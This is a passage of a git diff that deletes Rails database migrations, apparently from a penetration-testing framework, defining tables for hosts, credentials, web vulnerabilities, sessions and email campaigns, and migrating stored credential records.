:workspaces do |t| - t.string :description, :limit => 4096 - end - - change_table :hosts do |t| - t.string :comments, :limit => 4096 - end - end - - def self.down - change_table :workspaces do |t| - t.remove :description - end - - change_table :hosts do |t| - t.remove :comments - end - end - -end - diff --git a/data/sql/migrate/020_add_user_preferences.rb b/data/sql/migrate/020_add_user_preferences.rb deleted file mode 100755 index 40b472701c..0000000000 --- a/data/sql/migrate/020_add_user_preferences.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddUserPreferences < ActiveRecord::Migration - def self.up - add_column :users, :prefs, :string, :limit => 524288 - end - - def self.down - remove_column :users, :prefs - end - -end - diff --git a/data/sql/migrate/021_standardize_info_and_data.rb b/data/sql/migrate/021_standardize_info_and_data.rb deleted file mode 100755 index bb9a2bccd6..0000000000 --- a/data/sql/migrate/021_standardize_info_and_data.rb +++ /dev/null @@ -1,18 +0,0 @@ -class StandardizeInfoAndData < ActiveRecord::Migration - def self.up - # Remove the host requirement. We'll add the column back in below. - remove_column :vulns, :data - change_table :vulns do |t| - t.string :info, :limit => 65536 - end - end - - def self.down - remove_column :vulns, :info - change_table :notes do |t| - t.string :data, :limit => 65536 - - end - end -end - diff --git a/data/sql/migrate/022_enlarge_event_info.rb b/data/sql/migrate/022_enlarge_event_info.rb deleted file mode 100755 index fec9698c06..0000000000 --- a/data/sql/migrate/022_enlarge_event_info.rb +++ /dev/null @@ -1,10 +0,0 @@ -class EnlargeEventInfo < ActiveRecord::Migration - def self.up - change_column :events, :info, :text - end - - def self.down - change_column :events, :info, :string, :limit => 65535 - end -end - diff --git a/data/sql/migrate/023_add_report_downloaded_at.rb b/data/sql/migrate/023_add_report_downloaded_at.rb deleted file mode 100755 index 7ec5716e82..0000000000 --- a/data/sql/migrate/023_add_report_downloaded_at.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddReportDownloadedAt < ActiveRecord::Migration - def self.up - add_column :reports, :downloaded_at, :timestamp - end - - def self.down - remove_column :reports, :downloaded_at - end -end - diff --git a/data/sql/migrate/024_convert_service_info_to_text.rb b/data/sql/migrate/024_convert_service_info_to_text.rb deleted file mode 100755 index 14f0a96222..0000000000 --- a/data/sql/migrate/024_convert_service_info_to_text.rb +++ /dev/null @@ -1,12 +0,0 @@ -class ConvertServiceInfoToText < ActiveRecord::Migration - - def self.up - change_column :services, :info, :text - end - - def self.down - change_column :services, :info, :string, :limit => 65536 - end - -end - diff --git a/data/sql/migrate/025_add_user_admin.rb b/data/sql/migrate/025_add_user_admin.rb deleted file mode 100755 index d077dbd633..0000000000 --- a/data/sql/migrate/025_add_user_admin.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddUserAdmin < ActiveRecord::Migration - - # Add user admin flag and project member list. - def self.up - add_column :users, :admin, :boolean, :default => true - - create_table :project_members, :id => false do |t| - t.integer :workspace_id, :null => false - t.integer :user_id, :null => false - end - end - - def self.down - remove_column :users, :admin - - drop_table :project_members - end -end - diff --git a/data/sql/migrate/026_add_creds_table.rb b/data/sql/migrate/026_add_creds_table.rb deleted file mode 100755 index 381ec8373a..0000000000 --- a/data/sql/migrate/026_add_creds_table.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddCredsTable < ActiveRecord::Migration - def self.up - create_table :creds do |t| - t.integer :service_id, :null => false - t.timestamps - t.string :user, :limit => 2048 - t.string :pass, :limit => 4096 - t.boolean :active, :default => true - t.string :proof, :limit => 4096 - t.string :ptype, :limit => 16 - t.integer :source_id - t.string :source_type - end - end - def self.down - drop_table :creds - end -end - diff --git a/data/sql/migrate/20100819123300_migrate_cred_data.rb b/data/sql/migrate/20100819123300_migrate_cred_data.rb deleted file mode 100755 index d752c270f4..0000000000 --- a/data/sql/migrate/20100819123300_migrate_cred_data.rb +++ /dev/null @@ -1,154 +0,0 @@ -class MigrateCredData < ActiveRecord::Migration - - def self.up - begin # Wrap the whole thing in a giant rescue. - skipped_notes = [] - new_creds = [] - Mdm::Note.find(:all).each do |note| - next unless note.ntype[/^auth\.(.*)/] - service_name = $1 - if !service_name - skipped_notes << note - next - end - if note.host and note.host.respond_to?(:address) - if note.service - svc_id = note.service.id - else - candidate_services = [] - note.host.services.each do |service| - if service.name == service_name - candidate_services << service - end - end - # Use the default port, or the first port that matches the protocol name. - default_port = case service_name.downcase - when 'ftp'; 21 - when /^smb/; 445 - when /^imap/; 143 - when 'telnet'; 23 - when 'pop3'; 110 - when 'http','domino','axis','wordpress','tomcat'; 80 - when 'tns'; 1521 - when 'snmp'; 161 - when 'mssql'; 1433 - when 'ssh'; 22 - when 'https'; 443 - when 'mysql'; 3306 - when 'db2'; 50000 - when 'postgres'; 5432 - else nil - end - if !default_port - skipped_notes << note - next - end - if candidate_services.size == 1 - svc_id = candidate_services.first.id - elsif candidate_services.empty? - Mdm::Service.new do |svc| - svc.host_id = note.host.id - svc.port = default_port - svc.proto = 'tcp' - svc.state = 'open' - svc.name = service_name.downcase - svc.save! - svc_id = svc.id - end - elsif candidate_services.size > 1 - svc_ports = candidate_services.map{|s| s.port} - if svc_ports.index(default_port) - svc_id = candidate_services[svc_ports.index(default_port)].id - else - svc_id = candidate_services.first.id - end - end - end - else - skipped_notes << note - next - end - if note.data[:hash] - ptype = 'smb_hash' - pass = note.data[:hash] - elsif note.data[:ssh_key] - ptype = 'ssh_key' - pass = note.data[:extra] - else - ptype = 'password' - pass = note.data[:pass] - end - # Format domains and databases into the usernames. - if note.ntype == "auth.smb_challenge" - domain = note.data[:extra].match(/DOMAIN=([^\s]+)/)[1] - if domain - user = [domain, note.data[:user]].join("/") - else - user = note.data[:user] - end - elsif note.ntype =~ /auth\.(postgres|db2)/ - if note.data[:database] - user = [note.data[:database], note.data[:user]].join("/") - else - user = note.data[:user] - end - else - user = note.data[:user] - end - # Not actually a credentials, convert to migrated notes - if service_name == 'smb' && note.data[:token] - skipped_notes << note - next - end - if service_name == 'tns' && note.data[:type] == "bruteforced_sid" - skipped_notes << note - next - end - # Special case for the bizarre reporting for aux/admin/oracle/oracle_login - if service_name == 'tns' && note.data[:type] == "bruteforced_account" - note.data[:data] =~ /([^\x2f]+)\x2f([^\s]+).*with sid (.*)/ - user = "#{$3}/#{$1}" - pass = $2 - end - new_creds << [svc_id, ptype, user, pass] - end - - say "Migrating #{new_creds.size} credentials." - new_creds.uniq.each do |note| - Mdm::Cred.new do |cred| - cred.service_id = note[0] - cred.user = note[2] - cred.pass = note[3] - cred.ptype = note[1] - cred.save! - end - end - - say "Migrating #{skipped_notes.size} notes." - skipped_notes.uniq.each do |note| - Mdm::Note.new do |new_note| - new_note.host_id = note.host_id - new_note.ntype = "migrated_auth" - new_note.data = note.data.merge(:migrated_auth_type => note.ntype) - new_note.save! - end - end - - say "Deleting migrated auth notes." - Mdm::Note.find(:all).each do |note| - next unless note.ntype[/^auth\.(.*)/] - note.delete - end - rescue - say "There was a problem migrating auth credentials. Skipping." - return true # Never fail! - end - end - - - def self.down - raise ActiveRecord::IrreversibleMigration - end - -end - diff --git a/data/sql/migrate/20100824151500_add_exploited_table.rb b/data/sql/migrate/20100824151500_add_exploited_table.rb deleted file mode 100755 index b7897d3832..0000000000 --- a/data/sql/migrate/20100824151500_add_exploited_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddExploitedTable < ActiveRecord::Migration - def self.up - create_table :exploited_hosts do |t| - t.integer :host_id, :null => false - t.integer :service_id - t.string :session_uuid, :limit => 8 - t.string :name, :limit => 2048 - t.string :payload, :limit => 2048 - t.timestamps - end - end - def self.down - drop_table :exploited_hosts - end -end - diff --git a/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb b/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb deleted file mode 100755 index c136d4b9d7..0000000000 --- a/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddOwnerToWorkspaces < ActiveRecord::Migration - def self.up - add_column :workspaces, :owner_id, :integer - end - - def self.down - remove_column :workspaces, :owner_id - end -end diff --git a/data/sql/migrate/20100911122000_add_report_templates.rb b/data/sql/migrate/20100911122000_add_report_templates.rb deleted file mode 100755 index 08b06d4c5f..0000000000 --- a/data/sql/migrate/20100911122000_add_report_templates.rb +++ /dev/null @@ -1,18 +0,0 @@ -class AddReportTemplates < ActiveRecord::Migration - - def self.up - create_table :report_templates do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :path, :limit => 1024 - t.text :name - t.timestamps - end - end - - def self.down - drop_table :reports - end - -end - diff --git a/data/sql/migrate/20100916151530_require_admin_flag.rb b/data/sql/migrate/20100916151530_require_admin_flag.rb deleted file mode 100755 index d73e18425d..0000000000 --- a/data/sql/migrate/20100916151530_require_admin_flag.rb +++ /dev/null @@ -1,15 +0,0 @@ -class RequireAdminFlag < ActiveRecord::Migration - - # Make the admin flag required. - def self.up - # update any existing records - Mdm::User.update_all({:admin => true}, {:admin => nil}) - - change_column :users, :admin, :boolean, :null => false, :default => true - end - - def self.down - change_column :users, :admin, :boolean, :default => true - end - -end diff --git a/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb b/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb deleted file mode 100755 index 433bdcf65f..0000000000 --- a/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb +++ /dev/null @@ -1,61 +0,0 @@ - -class AddCampaignsAndTemplates < ActiveRecord::Migration - - def self.up - create_table :campaigns do |t| - t.integer :workspace_id, :null => false - t.string :name, :limit => 512 - # Serialized, stores SMTP/other protocol config options etc. - t.text :prefs - t.integer :status, :default => 0 - t.timestamp :started_at - t.timestamps - end - - create_table :email_templates do |t| - t.string :name, :limit => 512 - t.string :subject, :limit => 1024 - t.text :body - t.integer :parent_id - t.integer :campaign_id - end - create_table :attachments do |t| - t.string :name, :limit => 512 - t.binary :data - t.string :content_type, :limit => 512 - t.boolean :inline, :null => false, :default => true - t.boolean :zip, :null => false, :default => false - end - create_table :attachments_email_templates, :id => false do |t| - t.integer :attachment_id - t.integer :email_template_id - end - - create_table :email_addresses do |t| - t.integer :campaign_id, :null => false - t.string :first_name, :limit => 512 - t.string :last_name, :limit => 512 - t.string :address, :limit => 512 - t.boolean :sent, :null => false, :default => false - t.timestamp :clicked_at - end - - create_table :web_templates do |t| - t.string :name, :limit => 512 - t.string :title, :limit => 512 - t.string :body, :limit => 524288 - t.integer :campaign_id - end - end - - def self.down - drop_table :campaigns - drop_table :email_templates - drop_table :attachments - drop_table :attachments_email_templates - drop_table :email_addresses - drop_table :web_templates - end - -end - diff --git a/data/sql/migrate/20100920012100_add_generate_exe_column.rb b/data/sql/migrate/20100920012100_add_generate_exe_column.rb deleted file mode 100755 index 7b055b268f..0000000000 --- a/data/sql/migrate/20100920012100_add_generate_exe_column.rb +++ /dev/null @@ -1,8 +0,0 @@ -class AddGenerateExeColumn < ActiveRecord::Migration - def self.up - add_column :email_templates, :generate_exe, :boolean, :null => false, :default => false - end - def self.down - remove_column :email_templates, :generate_exe - end -end diff --git a/data/sql/migrate/20100926214000_add_template_prefs.rb b/data/sql/migrate/20100926214000_add_template_prefs.rb deleted file mode 100755 index 70b84d0734..0000000000 --- a/data/sql/migrate/20100926214000_add_template_prefs.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddTemplatePrefs < ActiveRecord::Migration - def self.up - remove_column :email_templates, :generate_exe - add_column :email_templates, :prefs, :text - add_column :web_templates, :prefs, :text - end - def self.down - remove_column :email_templates, :prefs - remove_column :web_templates, :prefs - end -end diff --git a/data/sql/migrate/20101001000000_add_web_tables.rb b/data/sql/migrate/20101001000000_add_web_tables.rb deleted file mode 100755 index e55bf286b5..0000000000 --- a/data/sql/migrate/20101001000000_add_web_tables.rb +++ /dev/null @@ -1,57 +0,0 @@ -class AddWebTables < ActiveRecord::Migration - - def self.up - create_table :web_sites do |t| - t.integer :service_id, :null => false - t.timestamps - t.string :vhost, :limit => 2048 - t.text :comments - t.text :options - end - - create_table :web_pages do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.text :query - t.integer :code, :null => false - t.text :cookie - t.text :auth - t.text :ctype - t.timestamp :mtime - t.text :location - t.text :body - t.text :headers - end - - create_table :web_forms do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.string :method, :limit => 1024 - t.text :params - end - - create_table :web_vulns do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.string :method, :limit => 1024 - t.text :params - t.text :pname - t.text :proof - t.integer :risk - t.string :name, :limit => 1024 - end - - end - - def self.down - drop_table :web_sites - drop_table :web_pages - drop_table :web_forms - drop_table :web_vulns - end -end - - diff --git a/data/sql/migrate/20101002000000_add_query.rb b/data/sql/migrate/20101002000000_add_query.rb deleted file mode 100755 index f22d0f2954..0000000000 --- a/data/sql/migrate/20101002000000_add_query.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddQuery < ActiveRecord::Migration - def self.up - add_column :web_forms, :query, :text - add_column :web_vulns, :query, :text - end - def self.down - remove_column :web_forms, :query - remove_column :web_vulns, :query - end -end diff --git a/data/sql/migrate/20101007000000_add_vuln_info.rb b/data/sql/migrate/20101007000000_add_vuln_info.rb deleted file mode 100755 index 34c1eb3fd9..0000000000 --- a/data/sql/migrate/20101007000000_add_vuln_info.rb +++ /dev/null @@ -1,15 +0,0 @@ -class AddVulnInfo < ActiveRecord::Migration - def self.up - add_column :web_vulns, :category, :text - add_column :web_vulns, :confidence, :text - add_column :web_vulns, :description, :text - add_column :web_vulns, :blame, :text - end - def self.down - remove_column :web_forms, :category - remove_column :web_vulns, :confidence - remove_column :web_vulns, :description - remove_column :web_vulns, :blame - end -end - diff --git a/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb b/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb deleted file mode 100755 index 6281f91343..0000000000 --- a/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb +++ /dev/null @@ -1,10 +0,0 @@ - -class AddClientsToCampaigns < ActiveRecord::Migration - def self.up - add_column :clients, :campaign_id, :integer - end - - def self.down - remove_column :clients, :campaign_id - end -end diff --git a/data/sql/migrate/20101009023300_add_campaign_attachments.rb b/data/sql/migrate/20101009023300_add_campaign_attachments.rb deleted file mode 100755 index 6baf770f29..0000000000 --- a/data/sql/migrate/20101009023300_add_campaign_attachments.rb +++ /dev/null @@ -1,15 +0,0 @@ - - -class AddCampaignAttachments < ActiveRecord::Migration - - def self.up - add_column :attachments, :campaign_id, :integer - end - - def self.down - remove_column :attachments, :campaign_id - end - -end - - diff --git a/data/sql/migrate/20101104135100_add_imported_creds.rb b/data/sql/migrate/20101104135100_add_imported_creds.rb deleted file mode 100755 index 92eb12d474..0000000000 --- a/data/sql/migrate/20101104135100_add_imported_creds.rb +++ /dev/null @@ -1,17 +0,0 @@ -class AddImportedCreds < ActiveRecord::Migration - - def self.up - create_table :imported_creds do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :user, :limit => 512 - t.string :pass, :limit => 512 - t.string :ptype, :limit => 16, :default => "password" - end - end - - def self.down - drop_table :imported_creds - end - -end - diff --git a/data/sql/migrate/20101203000000_fix_web_tables.rb b/data/sql/migrate/20101203000000_fix_web_tables.rb deleted file mode 100755 index 2056369ed7..0000000000 --- a/data/sql/migrate/20101203000000_fix_web_tables.rb +++ /dev/null @@ -1,34 +0,0 @@ -class FixWebTables < ActiveRecord::Migration - - def self.up - change_column :web_pages, :path, :text - change_column :web_pages, :query, :text - change_column :web_pages, :cookie, :text - change_column :web_pages, :auth, :text - change_column :web_pages, :ctype, :text - change_column :web_pages, :location, :text - change_column :web_pages, :path, :text - change_column :web_vulns, :path, :text - change_column :web_vulns, :pname, :text - - add_column :web_pages, :request, :text - add_column :web_vulns, :request, :text - end - - def self.down - change_column :web_pages, :path, :text - change_column :web_pages, :query, :text - change_column :web_pages, :cookie, :text - change_column :web_pages, :auth, :text - change_column :web_pages, :ctype, :text - change_column :web_pages, :location, :text - change_column :web_pages, :path, :text - change_column :web_vulns, :path, :text - change_column :web_vulns, :pname, :text - - remove_column :web_pages, :request - remove_column :web_vulns, :request - end -end - - diff --git a/data/sql/migrate/20101203000001_expand_host_comment.rb b/data/sql/migrate/20101203000001_expand_host_comment.rb deleted file mode 100755 index 1a0bc1bc51..0000000000 --- a/data/sql/migrate/20101203000001_expand_host_comment.rb +++ /dev/null @@ -1,12 +0,0 @@ -class ExpandHostComment < ActiveRecord::Migration - - def self.up - change_column :hosts, :comments, :text - end - - def self.down - change_column :hosts, :comments, :string, :limit => 4096 - end -end - - diff --git a/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb deleted file mode 100755 index 7365e14f9d..0000000000 --- a/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddLimitToNetworkToWorkspaces < ActiveRecord::Migration - def self.up - add_column :workspaces, :limit_to_network, :boolean, :null => false, :default => false - end - - def self.down - remove_column :workspaces, :limit_to_network - end -end diff --git a/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb b/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb deleted file mode 100755 index f41bc6a813..0000000000 --- a/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddModuleUuidToTasks < ActiveRecord::Migration - def self.up - add_column :tasks, :module_uuid, :string, :limit => 8 - end - - def self.down - remove_column :tasks, :module_uuid - end -end diff --git a/data/sql/migrate/20110204112800_add_host_tags.rb b/data/sql/migrate/20110204112800_add_host_tags.rb deleted file mode 100755 index d07c885c35..0000000000 --- a/data/sql/migrate/20110204112800_add_host_tags.rb +++ /dev/null @@ -1,28 +0,0 @@ -class AddHostTags < ActiveRecord::Migration - - def self.up - - create_table :tags do |t| - t.integer :user_id - t.string :name, :limit => 1024 - t.text :desc - t.boolean :report_summary, :null => false, :default => false - t.boolean :report_detail, :null => false, :default => false - t.boolean :critical, :null => false, :default => false - t.timestamps - end - - create_table :hosts_tags, :id => false do |t| - t.integer :host_id - t.integer :tag_id - end - - end - - def self.down - drop_table :hosts_tags - drop_table :tags - end - -end - diff --git a/data/sql/migrate/20110317144932_add_session_table.rb b/data/sql/migrate/20110317144932_add_session_table.rb deleted file mode 100755 index 15ac8852bb..0000000000 --- a/data/sql/migrate/20110317144932_add_session_table.rb +++ /dev/null @@ -1,110 +0,0 @@ -class AddSessionTable < ActiveRecord::Migration - - class Event < ActiveRecord::Base - serialize :info - end - - class SessionEvent < ActiveRecord::Base - belongs_to :session - end - - class Session < ActiveRecord::Base - has_many :events, :class_name => 'AddSessionTable::SessionEvent' - serialize :datastore - end - - def self.up - - create_table :sessions do |t| - t.integer :host_id - - t.string :stype # session type: meterpreter, shell, etc - t.string :via_exploit # module name - t.string :via_payload # payload name - t.string :desc # session description - t.integer :port - t.string :platform # platform type of the remote system - t.string :routes - - t.text :datastore # module's datastore - - t.timestamp :opened_at, :null => false - t.timestamp :closed_at - - t.string :close_reason - end - - create_table :session_events do |t| - t.integer :session_id - - t.string :etype # event type: command, output, upload, download, filedelete - t.binary :command - t.binary :output - t.string :remote_path - t.string :local_path - - t.timestamp :created_at - end - - # - # Migrate session data from events table - # - - close_events = Event.find_all_by_name("session_close") - open_events = Event.find_all_by_name("session_open") - - command_events = Event.find_all_by_name("session_command") - output_events = Event.find_all_by_name("session_output") - upload_events = Event.find_all_by_name("session_upload") - download_events = Event.find_all_by_name("session_download") - - open_events.each do |o| - c = close_events.find { |e| e.info[:session_uuid] == o.info[:session_uuid] } - - s = Session.new( - :host_id => o.host_id, - :stype => o.info[:session_type], - :via_exploit => o.info[:via_exploit], - :via_payload => o.info[:via_payload], - :datastore => o.info[:datastore], - :opened_at => o.created_at - ) - - if c - s.closed_at = c.created_at - s.desc = c.info[:session_info] - else - # couldn't find the corresponding close event - s.closed_at = s.opened_at - s.desc = "?" - end - - uuid = o.info[:session_uuid] - - command_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "command", :command => e.info[:command] ) - end - - output_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "output", :output => e.info[:output] ) - end - - upload_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "upload", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) - end - - download_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "download", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) - end - - s.events.sort_by(&:created_at) - - s.save! - end - end - - def self.down - drop_table :sessions - drop_table :session_events - end -end diff --git a/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb b/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb deleted file mode 100755 index 7c0e57c505..0000000000 --- a/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddLocalIdToSessionTable < ActiveRecord::Migration - - def self.up - add_column :sessions, :local_id, :integer - end - - def self.down - remove_column :sessions, :local_id - end - -end diff --git a/data/sql/migrate/20110415175705_add_routes_table.rb b/data/sql/migrate/20110415175705_add_routes_table.rb deleted file mode 100755 index 1eb104f9bf..0000000000 --- a/data/sql/migrate/20110415175705_add_routes_table.rb +++ /dev/null @@ -1,18 +0,0 @@ -class AddRoutesTable < ActiveRecord::Migration - - def self.up - create_table :routes do |t| - t.integer :session_id - t.string :subnet - t.string :netmask - end - - remove_column :sessions, :routes - end - - def self.down - drop_table :routes - - add_column :sessions, :routes, :string - end -end diff --git a/data/sql/migrate/20110422000000_convert_binary.rb b/data/sql/migrate/20110422000000_convert_binary.rb deleted file mode 100755 index 4fa3428ad1..0000000000 --- a/data/sql/migrate/20110422000000_convert_binary.rb +++ /dev/null @@ -1,72 +0,0 @@ -class ConvertBinary < ActiveRecord::Migration - - - class WebPage < ActiveRecord::Base - serialize :headers - end - - class WebVuln < ActiveRecord::Base - serialize :params - end - - def bfilter(str) - str = str.to_s - str.encoding = 'binary' if str.respond_to?('encoding=') - str.gsub(/[\x00\x7f-\xff]/, '') - end - - def self.up - rename_column :web_pages, :body, :body_text - rename_column :web_pages, :request, :request_text - rename_column :web_vulns, :request, :request_text - rename_column :web_vulns, :proof, :proof_text - - add_column :web_pages, :body, :binary - add_column :web_pages, :request, :binary - add_column :web_vulns, :request, :binary - add_column :web_vulns, :proof, :binary - - WebPage.find(:all).each { |r| r.body = r.body_text; r.save! } - WebPage.find(:all).each { |r| r.request = r.request_text; r.save! } - WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! } - WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! } - - remove_column :web_pages, :body_text - remove_column :web_pages, :request_text - remove_column :web_vulns, :request_text - remove_column :web_vulns, :proof_text - - WebPage.connection.schema_cache.clear! - WebPage.reset_column_information - WebVuln.connection.schema_cache.clear! - WebVuln.reset_column_information - end - - def self.down - - rename_column :web_pages, :body, :body_binary - rename_column :web_pages, :request, :request_binary - rename_column :web_vulns, :request, :request_binary - rename_column :web_vulns, :proof, :proof_binary - - add_column :web_pages, :body, :text - add_column :web_pages, :request, :text - add_column :web_vulns, :request, :text - add_column :web_vulns, :proof, :text - - WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! } - WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } - WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! } - WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } - - remove_column :web_pages, :body_binary - remove_column :web_pages, :request_binary - remove_column :web_vulns, :request_binary - remove_column :web_vulns, :proof_binary - - WebPage.connection.schema_cache.clear! - WebPage.reset_column_information - WebVuln.connection.schema_cache.clear! - WebVuln.reset_column_information - end -end diff --git a/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb b/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb deleted file mode 100755 index 48380af6ae..0000000000 --- a/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb +++ /dev/null @@ -1,8 +0,0 @@ -class AddLastSeenToSessions < ActiveRecord::Migration - def self.up - add_column :sessions, :last_seen, :timestamp - end - def self.down - remove_column :sessions, :last_seen - end -end diff --git a/data/sql/migrate/20110513143900_track_successful_exploits.rb b/data/sql/migrate/20110513143900_track_successful_exploits.rb deleted file mode 100755 index 7c55105fe8..0000000000 --- a/data/sql/migrate/20110513143900_track_successful_exploits.rb +++ /dev/null @@ -1,31 +0,0 @@ -class TrackSuccessfulExploits < ActiveRecord::Migration - - - class ExploitedHost < ActiveRecord::Base - end - - class Vuln < ActiveRecord::Base - end - - def self.up - add_column :vulns, :exploited_at, :timestamp - - # Migrate existing exploited_hosts entries - - ExploitedHost.find(:all).select {|x| x.name}.each do |exploited_host| - next unless(exploited_host.name =~ /^(exploit|auxiliary)\//) - vulns = Vuln.find_all_by_name_and_host_id(exploited_host.name, exploited_host.host_id) - next if vulns.empty? - vulns.each do |vuln| - vuln.exploited_at = exploited_host.updated_at - vuln.save - end - end - - end - - def self.down - remove_column :vulns, :exploited_at - end - -end diff --git a/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb deleted file mode 100755 index e1b8955b7f..0000000000 --- a/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb +++ /dev/null @@ -1,26 +0,0 @@ -class RenameAndPruneNessusVulns < ActiveRecord::Migration - - class Vuln < ActiveRecord::Base - end - - # No table changes, just vuln renaming to drop the NSS id - # from those vulns that have it and a descriptive name. - def self.up - Vuln.find(:all).each do |v| - if v.name =~ /^NSS-0?\s*$/ - v.delete - next - end - next unless(v.name =~ /^NSS-[0-9]+\s(.+)/) - new_name = $1 - next if(new_name.nil? || new_name.strip.empty?) - v.name = new_name - v.save! - end - end - - def self.down - say "Cannot un-rename and un-prune NSS vulns for migration 20110517160800." - end - -end diff --git a/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb b/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb deleted file mode 100755 index 5af2d46704..0000000000 --- a/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddTaskIdToReportsTable < ActiveRecord::Migration - - def self.up - add_column :reports, :task_id, :integer - end - - def self.down - remove_column :reports, :task_id - end - -end diff --git a/data/sql/migrate/20110527000001_add_api_keys_table.rb b/data/sql/migrate/20110527000001_add_api_keys_table.rb deleted file mode 100755 index 13e6ecedd0..0000000000 --- a/data/sql/migrate/20110527000001_add_api_keys_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddApiKeysTable < ActiveRecord::Migration - def self.up - create_table :api_keys do |t| - t.text :token - t.timestamps - end - end - def self.down - drop_table :api_keys - end -end - diff --git a/data/sql/migrate/20110606000001_add_macros_table.rb b/data/sql/migrate/20110606000001_add_macros_table.rb deleted file mode 100755 index bfb8ef6085..0000000000 --- a/data/sql/migrate/20110606000001_add_macros_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddMacrosTable < ActiveRecord::Migration - def self.up - create_table :macros do |t| - t.timestamps - t.text :owner - t.text :name - t.text :description - t.binary :actions - t.binary :prefs - end - end - def self.down - drop_table :macros - end -end - diff --git a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb b/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb deleted file mode 100755 index e057c2ca20..0000000000 --- a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb +++ /dev/null @@ -1,127 +0,0 @@ -class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration - - class ImportedCred < ActiveRecord::Base - end - - class CredFile < ActiveRecord::Base - end - - class Workspace < ActiveRecord::Base - end - - class << self - - def find_or_create_cred_path - cred_files_dir = nil - msf_base = Msf::Config.install_root - pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro")) - if File.directory? pro_base - cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files")) - FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir) - if File.directory?(cred_files_dir) and File.writable?(cred_files_dir) - end - end - return cred_files_dir - end - - def find_all_imported_creds_by_workspace - valid_ptypes = ["smb_hash", "userpass", "password"] - valid_workspaces = Workspace.all.map {|w| w.id} - creds = {} - ImportedCred.all.each do |cred| - next unless cred.ptype - next unless valid_ptypes.include? cred.ptype - next unless cred.workspace_id - next unless valid_workspaces.include? cred.workspace_id - creds[cred.workspace_id] ||= [] - creds[cred.workspace_id] << cred - end - return creds - end - - def sort_creds_into_file_types(old_creds) - files = {} - old_creds.each do |wid,creds| - filedata = {} - creds.each do |cred| - filedata[cred.ptype] ||= [] - case cred.ptype - when "smb_hash", "userpass" - filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass]) - when "password" - filedata[cred.ptype] << cred.pass.to_s - end - files[wid] = filedata - end - end - return files - end - - def write_creds_to_files(old_creds,cred_path) - file_data_to_write = sort_creds_into_file_types(old_creds) - files_written = [] - file_data_to_write.each do |wid, fdata_hash| - fdata_hash.each do |ftype,cred_data| - next unless cred_data - next if cred_data.empty? - fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt") - fdata = cred_data.join("\n") - fh = File.open(fname, "wb") - begin - fh.write fdata - fh.flush - ensure - fh.close - end - files_written << fname - end - end - return files_written - end - - def register_new_files(new_files) - successful_count = 0 - new_files.each do |fname| - next unless File.split(fname).last =~ 